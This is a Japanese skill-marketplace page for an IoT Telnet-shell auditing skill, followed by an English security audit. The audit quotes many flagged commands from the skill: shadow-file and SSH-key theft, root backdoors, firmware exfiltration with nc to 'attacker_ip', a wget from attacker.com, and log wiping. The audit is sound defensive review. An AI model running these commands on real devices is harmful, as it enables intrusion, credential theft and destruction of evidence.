📦
wsdiscovery
50WS-Discovery デバイスの検出
デバイスインベントリが不完全な場合、ONVIF カメラや IoT デバイスの検出には時間がかかることがあります。このスキルは、承認済みの WS-Discovery スキャンをガイドし、デバイスのメタデータとサービスエンドポイントを要約します。
セキュリティ＆コンプライアンス 表示
スキル telnetshell
📦
telnetshell
コンテンツリビジョン r2 重大 📁 ファイルシステムへのアクセス⚙️ 外部コマンド🌐 ネットワークアクセス
IoT Telnet シェルの監査
認可されたセキュリティテスト中に、IoT telnet シェルを一貫して調査するのは困難です。このスキルは、telnet ヘルパー、列挙スクリプト、ログ記録ガイダンス、デバイス評価向けの構造化されたワークフローを提供します。
対応: Claude Codex Code(CC)
この Skill を自動インストールしないでください。
基準ポリシーにより、インストール操作の前にオペレーターのレビューが必要です。
自分のエージェントでインストール
このリクエストをエージェントにコピーしてください。正規の Skill ページとマニフェストが含まれています。
エージェントリクエスト
Review the Skillstore skill "telnetshell" from https://skillstore.io/skills/brownfinesecurity-telnetshell.md and its manifest at https://skillstore.io/api/skills/brownfinesecurity-telnetshell/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.エージェントは引き続き計画を提示し、セキュリティポリシーで必要な確認を求める必要があります。
エージェントが読めるリソース
AI エージェント、クローラー、スクリプトがページ全体ではなく整理されたコンテキストを必要とする場合は、これらのリンクを使ってください。
テストする
「telnetshell」を使用しています。 認可済み telnet ターゲットで基本的なデバイスインベントリを実行する。
期待される結果:
レポートには、ホスト名、カーネルバージョン、BusyBox の有無、マウント済みファイルシステム、開いているサービスが一覧化され、不完全なコマンドに関する注記が含まれます。
「telnetshell」を使用しています。 IoT カメラのラボテストから telnet セッションログを要約する。
期待される結果:
要約では、接続イベント、送信されたコマンド、コマンド出力、検出されたプロンプト、警告、フォローアップ確認が分けて整理されます。
「telnetshell」を使用しています。 公開前にこのスキル内の安全でない例を特定する。
期待される結果:
レビューでは、永続化、認証情報の抽出、ファームウェアのエクスポート、内部スキャン、クリーンアップガイダンスが、マーケットプレイスには不適切なコンテンツとして指摘されます。
セキュリティ監査
重大v9 • 2026/7/23 バージョン別レポートを開く
The skill intentionally executes arbitrary Telnet commands and includes credential discovery, persistence, firmware extraction, network scanning, data exfiltration, and anti-forensic examples. Markdown formatting, private example addresses, and ANSI-cleaning detections are false positives, but multiple confirmed critical workflows require strict controls. No prompt injection attempt was found.
8
スキャンされたファイル
2,017
解析済み行数
106
レビュー項目
0
誤検知を無視
確認済みのセキュリティ上の懸念 (74)
重大
SSH private key file
find / -name "id_rsa*" 2>/dev/null
The enumeration script searches the entire remote filesystem for SSH private keys. Any discovered key could enable credential theft and lateral access.
重大
System password file access
cat /etc/passwd
The command at enum_security.txt:10 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
重大
System password file access
cat /etc/shadow
The command at enum_security.txt:14 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
重大
Sudoers file access
cat /etc/sudoers 2>/dev/null
The command at enum_security.txt:54 reads the target's sudoers configuration during privilege-escalation enumeration. This exposes privileged command policy and escalation paths.
重大
SSH directory access
echo "$YOUR_KEY" >> /root/.ssh/authorized_keys
The command at examples.md:262 changes root SSH authorization state or reads it during a persistence example. This can establish durable privileged access.
重大
SSH directory access
chmod 600 /root/.ssh/authorized_keys
The command at examples.md:264 changes root SSH authorization state or reads it during a persistence example. This can establish durable privileged access.
重大
SSH directory access
cat /root/.ssh/authorized_keys
The command at examples.md:265 changes root SSH authorization state or reads it during a persistence example. This can establish durable privileged access.
重大
Malware type keywords
# Add backdoor to startup
The content at examples.md:272 is part of a workflow that installs a backdoor in a startup script. It establishes unauthorized persistent shell access.
確認済みの74件をすべて表示
重大
Malware type keywords
cat > add_backdoor.txt <<'EOF'
The content at examples.md:273 is part of a workflow that installs a backdoor in a startup script. It establishes unauthorized persistent shell access.
重大
Malware type keywords
--script add_backdoor.txt
The content at examples.md:281 is part of a workflow that installs a backdoor in a startup script. It establishes unauthorized persistent shell access.
重大
System password file access
$HELPER --host "$DEVICE" --port "$PORT" --command "cat /etc/passwd"
The command at examples.md:142 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
重大
System password file access
"/etc/passwd"
The command at examples.md:328 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
重大
System password file access
"/etc/shadow"
The command at examples.md:329 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
重大
Shell history clearing
history -c
The cleanup script clears shell history specifically after post-exploitation activity. This removes evidence and impedes incident investigation.
重大
Log file deletion
rm -f /var/log/*
The example deletes all files under /var/log as part of removing traces. This is explicit anti-forensic behavior that destroys audit evidence.
重大
SSH directory access
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
The command at SKILL.md:371 changes root SSH authorization state or reads it during a persistence example. This can establish durable privileged access.
重大
SSH directory access
chmod 600 /root/.ssh/authorized_keys
The command at SKILL.md:372 changes root SSH authorization state or reads it during a persistence example. This can establish durable privileged access.
重大
Malware type keywords
echo "/path/to/backdoor &" >> /etc/rc.local
The content at SKILL.md:383 is part of a workflow that installs a backdoor in a startup script. It establishes unauthorized persistent shell access.
重大
System password file access
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /etc/passwd"
The command at SKILL.md:171 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
重大
System password file access
cat /etc/passwd
The command at SKILL.md:295 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
重大
System password file access
cat /etc/shadow # If readable - major security issue!
The command at SKILL.md:296 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
重大
System password file access
less /etc/passwd # Then !/bin/sh
The command at SKILL.md:442 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
重大
Sudoers file access
cat /etc/sudoers
The command at SKILL.md:301 reads the target's sudoers configuration during privilege-escalation enumeration. This exposes privileged command policy and escalation paths.
重大
Explicit Sensitive Data Exfiltration Workflow
The guide labels a workflow Data Exfiltration and automates copying password files, network configuration, and databases from a target.
The heading and commands explicitly describe extraction, including /etc/shadow and discovered databases. The intent is direct and not inferred from keywords alone.
高
SSH host/auth files
find / -name "authorized_keys" 2>/dev/null
The command at enum_security.txt:41 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
高
Certificate/key files
find / -name "*.key" 2>/dev/null
The command at enum_security.txt:38 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
高
Certificate/key files
find / -name "*.pem" 2>/dev/null
The command at enum_security.txt:39 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
高
SSH host/auth files
echo "$YOUR_KEY" >> /root/.ssh/authorized_keys
The command at examples.md:262 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
高
SSH host/auth files
chmod 600 /root/.ssh/authorized_keys
The command at examples.md:264 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
高
SSH host/auth files
cat /root/.ssh/authorized_keys
The command at examples.md:265 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
高
Certificate/key files
find / -name "*.key" 2>/dev/null
The command at examples.md:178 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
高
Certificate/key files
find / -name "*.pem" 2>/dev/null
The command at examples.md:179 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
高
SQLite database file
--command "find / -name '*.db' -o -name '*.sqlite' 2>/dev/null" | \
The command finds database files and feeds their paths into a subsequent extraction loop. This can copy application data from the target without data minimization.
高
SSH host/auth files
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
The command at SKILL.md:371 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
高
SSH host/auth files
chmod 600 /root/.ssh/authorized_keys
The command at SKILL.md:372 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
高
Certificate/key files
find / -name "*.pem" 2>/dev/null
The command at SKILL.md:327 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
高
Certificate/key files
find / -name "*.key" 2>/dev/null
The command at SKILL.md:328 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
高
Default Credential Guessing Guidance
The skill instructs users to try common default root and administrator credentials when a password prompt appears.
The listed username and password pairs are explicit credential guesses. Authorization is mentioned elsewhere but is not enforced before these instructions.
高
Pivoted Internal Network Scanning
The example uses the accessed device to sweep its local subnet, expanding discovery beyond the original Telnet target.
The heading says Network Scanning from Device and the loop probes 254 local addresses. This is clear lateral reconnaissance intent.
低
System reconnaissance
cat /proc/sys/kernel/hostname
The command at enum_files.txt:41 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
Network reconnaissance
ifconfig -a
The command at enum_network.txt:5 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
Network reconnaissance
netstat -tulpn
The command at enum_network.txt:17 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
Network reconnaissance
netstat -an
The command at enum_network.txt:18 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
Network reconnaissance
netstat -s
The command at enum_network.txt:32 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
System reconnaissance
id
The command at enum_security.txt:5 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
whoami
The command at enum_security.txt:6 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
find / -user `whoami` 2>/dev/null
The command at enum_security.txt:32 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
uname -a
The command at enum_system.txt:5 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
hostname
The command at enum_system.txt:7 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
--command "uname -a"
The command at examples.md:27 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
hostname
The command at examples.md:48 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
uname -a
The command at examples.md:49 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
$HELPER --host "$DEVICE" --port "$PORT" --command "uname -a"
The command at examples.md:125 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
Network reconnaissance
$HELPER --host "$DEVICE" --port "$PORT" --command "ifconfig | grep -E '(inet|ether)'"
The command at examples.md:130 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
Network reconnaissance
$HELPER --host "$DEVICE" --port "$PORT" --command "netstat -tulpn"
The command at examples.md:138 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
Network reconnaissance
--command "netstat -tulpn" --json | \
The command at examples.md:295 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
System reconnaissance
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a"
The command at SKILL.md:47 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt
The command at SKILL.md:68 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a" --json
The command at SKILL.md:74 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "uname -a"
The command at SKILL.md:150 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
uname -a
The command at SKILL.md:259 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
hostname
The command at SKILL.md:270 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
cat /etc/hostname
The command at SKILL.md:271 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
id
The command at SKILL.md:290 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
whoami
The command at SKILL.md:291 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a"
The command at SKILL.md:509 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
Network reconnaissance
echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt
The command at SKILL.md:68 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
Network reconnaissance
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "ifconfig"
The command at SKILL.md:158 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
Network reconnaissance
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "netstat -tulpn"
The command at SKILL.md:160 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
Network reconnaissance
ifconfig -a
The command at SKILL.md:272 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
Network reconnaissance
netstat -tulpn
The command at SKILL.md:307 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
Network reconnaissance
- [ ] Check for unauthenticated access
The command at SKILL.md:450 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
System reconnaissance
%(prog)s --host 192.168.1.100 --command "uname -a"
The command at telnet_helper.py:347 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
Network reconnaissance
%(prog)s --host 192.168.1.100 --command "ifconfig" --json
The command at telnet_helper.py:365 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
機能レビュー項目 (106)
これらは、このスキルに期待される可能性のある実際のローカル機能であるため、レビューが必要ですが、確認済みの悪意ある動作としてはカウントされません。
重大
Shell command substitution
--command "cat $file" > "./extracted$(echo $file | tr '/' '_')"
The substitution at examples.md:340 participates in bulk extraction of target files. Remote-derived filenames can also alter generated commands or local output paths.
重大
Shell command substitution
--command "cat $dbfile" > "./$(basename $dbfile)"
The substitution at examples.md:358 participates in bulk extraction of target files. Remote-derived filenames can also alter generated commands or local output paths.
重大
Unix shell invocation
echo "telnetd -l /bin/sh -p 9999 &" >> /etc/init.d/rcS
This command adds an unauthenticated /bin/sh Telnet service to device startup. It creates a persistent backdoor.
重大
Hidden file access
mkdir -p /root/.ssh
The command at examples.md:261 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
重大
Hidden file access
echo "$YOUR_KEY" >> /root/.ssh/authorized_keys
The command at examples.md:262 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
重大
Hidden file access
chmod 700 /root/.ssh
The command at examples.md:263 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
重大
Hidden file access
chmod 600 /root/.ssh/authorized_keys
The command at examples.md:264 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
重大
Hidden file access
cat /root/.ssh/authorized_keys
The command at examples.md:265 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
重大
Non-standard device file access
--command "dd if=/dev/mtd2 | nc 192.168.1.50 4444"
The command at examples.md:231 reads raw MTD flash device data for firmware extraction. Raw partition copying can expose complete firmware and embedded secrets.
重大
Temp directory access
rm -f /tmp/*
The cleanup workflow deletes every entry under /tmp. This can destroy unrelated data and removes artifacts after post-exploitation.
重大
Ruby/PHP system() call
awk 'BEGIN {system("/bin/sh")}'
This is an executable awk system call that launches /bin/sh as a limited-shell escape. It is not an inert language example.
重大
Unix shell invocation
/bin/sh
The command at SKILL.md:439 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
重大
Unix shell invocation
/bin/bash
The command at SKILL.md:440 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
重大
Unix shell invocation
vi # Then :!/bin/sh
The command at SKILL.md:441 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
重大
Unix shell invocation
less /etc/passwd # Then !/bin/sh
The command at SKILL.md:442 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
重大
Unix shell invocation
find / -exec /bin/sh \;
The command at SKILL.md:443 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
重大
Unix shell invocation
awk 'BEGIN {system("/bin/sh")}'
The command at SKILL.md:444 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
重大
Hidden file access
mkdir -p /root/.ssh
The command at SKILL.md:370 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
重大
Hidden file access
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
The command at SKILL.md:371 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
重大
Hidden file access
chmod 600 /root/.ssh/authorized_keys
The command at SKILL.md:372 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
重大
Hidden file access
chmod 700 /root/.ssh
The command at SKILL.md:373 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
重大
Non-standard device file access
dd if=/dev/mtd0 of=/tmp/bootloader.bin
The command at SKILL.md:395 reads raw MTD flash device data for firmware extraction. Raw partition copying can expose complete firmware and embedded secrets.
重大
Non-standard device file access
dd if=/dev/mtd1 of=/tmp/kernel.bin
The command at SKILL.md:396 reads raw MTD flash device data for firmware extraction. Raw partition copying can expose complete firmware and embedded secrets.
重大
Non-standard device file access
dd if=/dev/mtd2 of=/tmp/rootfs.bin
The command at SKILL.md:397 reads raw MTD flash device data for firmware extraction. Raw partition copying can expose complete firmware and embedded secrets.
重大
Temp directory access
dd if=/dev/mtd0 of=/tmp/bootloader.bin
The command at SKILL.md:395 stages or transfers raw firmware through /tmp. This exposes sensitive device images and uses a shared directory for extraction.
重大
Temp directory access
dd if=/dev/mtd1 of=/tmp/kernel.bin
The command at SKILL.md:396 stages or transfers raw firmware through /tmp. This exposes sensitive device images and uses a shared directory for extraction.
重大
Temp directory access
dd if=/dev/mtd2 of=/tmp/rootfs.bin
The command at SKILL.md:397 stages or transfers raw firmware through /tmp. This exposes sensitive device images and uses a shared directory for extraction.
重大
Temp directory access
nc attacker_ip 4444 < /tmp/rootfs.bin
The command at SKILL.md:401 stages or transfers raw firmware through /tmp. This exposes sensitive device images and uses a shared directory for extraction.
高
Linux /proc filesystem access
cat /proc/sys/kernel/hostname
The command at enum_files.txt:41 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/sys/kernel/version
The command at enum_files.txt:42 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/net/dev
The command at enum_network.txt:6 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/net/route
The command at enum_network.txt:10 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/net/arp
The command at enum_network.txt:22 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/net/wireless
The command at enum_network.txt:26 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/net/snmp
The command at enum_network.txt:33 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
sudo privilege escalation
sudo -l
The command at enum_security.txt:53 enumerates allowed sudo operations on the target. In context, it is used to identify privilege-escalation paths.
高
Linux /proc filesystem access
cat /proc/version
The command at enum_system.txt:6 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/cpuinfo
The command at enum_system.txt:10 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/meminfo
The command at enum_system.txt:11 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/loadavg
The command at enum_system.txt:16 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/modules
The command at enum_system.txt:28 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/mounts
The command at enum_system.txt:32 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/partitions
The command at enum_system.txt:36 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/mtd
The command at enum_system.txt:37 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/cmdline
The command at enum_system.txt:40 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Shell command substitution
for i in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$i && echo "Host 192.168.1.$i is up"; done
The substitution drives a 254-host ping sweep from the compromised device. It actively maps neighboring systems and can extend intrusion scope.
高
Unix shell invocation
#!/bin/bash
The shebang at examples.md:111 makes a documented automation script executable. That script runs broad remote enumeration and sensitive collection commands.
高
Unix shell invocation
#!/bin/bash
The shebang at examples.md:399 makes a documented automation script executable. That script runs broad remote enumeration and sensitive collection commands.
高
Linux /proc filesystem access
cat /proc/version
The command at examples.md:50 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
$HELPER --host "$DEVICE" --port "$PORT" --command "cat /proc/cpuinfo | grep -E '(model|Hardware|Revi
The command at examples.md:126 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
--command "cat /proc/mtd"
The command at examples.md:211 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
$HELPER --host "$DEVICE" --port "$PORT" --command "cat /proc/mtd" > "$REPORT_DIR/07_mtd_partitions.t
The command at examples.md:429 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
$HELPER --host "$DEVICE" --port "$PORT" --command "cat /proc/partitions" > "$REPORT_DIR/08_partition
The command at examples.md:430 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Temp directory access
--logfile /tmp/manual_session.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at examples.md:373. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
# tail -f /tmp/manual_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at examples.md:377. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
- Review session logs in `/tmp/telnet_session.log`
The skill uses a predictable shared /tmp path for complete Telnet transcripts at examples.md:527. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
By default, the telnet helper script logs all I/O to `/tmp/telnet_session.log`. This happens automat
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:16. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:22. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
--logfile /tmp/my_session.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:36. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/my_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:40. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:61. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:85. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:106. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log | grep -E '^(/\s*#|[#\$])'
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:159. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log | grep -i error
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:162. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log | grep -i password
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:165. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log | ccze -A
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:172. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log | colordiff
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:175. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
LOGFILE="/tmp/telnet_${TIMESTAMP}.log"
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:183. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
--logfile /tmp/device1.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:203. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
--logfile /tmp/device2.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:209. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/device1.log /tmp/device2.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:213. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log > /tmp/session_archive_$(date +%Y%m%d_%H%M%S).log &
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:222. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
/tmp/telnet_session.log {
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:226. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
- Check if the logfile exists: `ls -la /tmp/telnet_session.log`
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:246. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
- Clear the log periodically: `> /tmp/telnet_session.log`
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:257. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
LOGFILE="/tmp/camera_$(date +%Y%m%d_%H%M%S).log"
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:270. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:279. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
1. Claude will ALWAYS specify `--logfile /tmp/telnet_session.log` (or custom path)
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:294. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
2. You can monitor by running `tail -f /tmp/telnet_session.log` in another terminal
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:295. Logs can contain commands, responses, credentials, and sensitive target data.
高
sudo privilege escalation
sudo -l
The command at SKILL.md:300 enumerates allowed sudo operations on the target. In context, it is used to identify privilege-escalation paths.
高
Hardcoded URL
wget http://attacker.com/shell.sh
This example instructs the target to download a shell script from an attacker-controlled HTTP location. That enables unverified payload delivery over plaintext.
高
Linux /proc filesystem access
echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt
The command at SKILL.md:68 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/version"
The command at SKILL.md:151 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/cpuinfo"
The command at SKILL.md:152 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/version
The command at SKILL.md:260 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/cpuinfo
The command at SKILL.md:261 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/meminfo
The command at SKILL.md:262 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/mounts
The command at SKILL.md:278 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/mtd
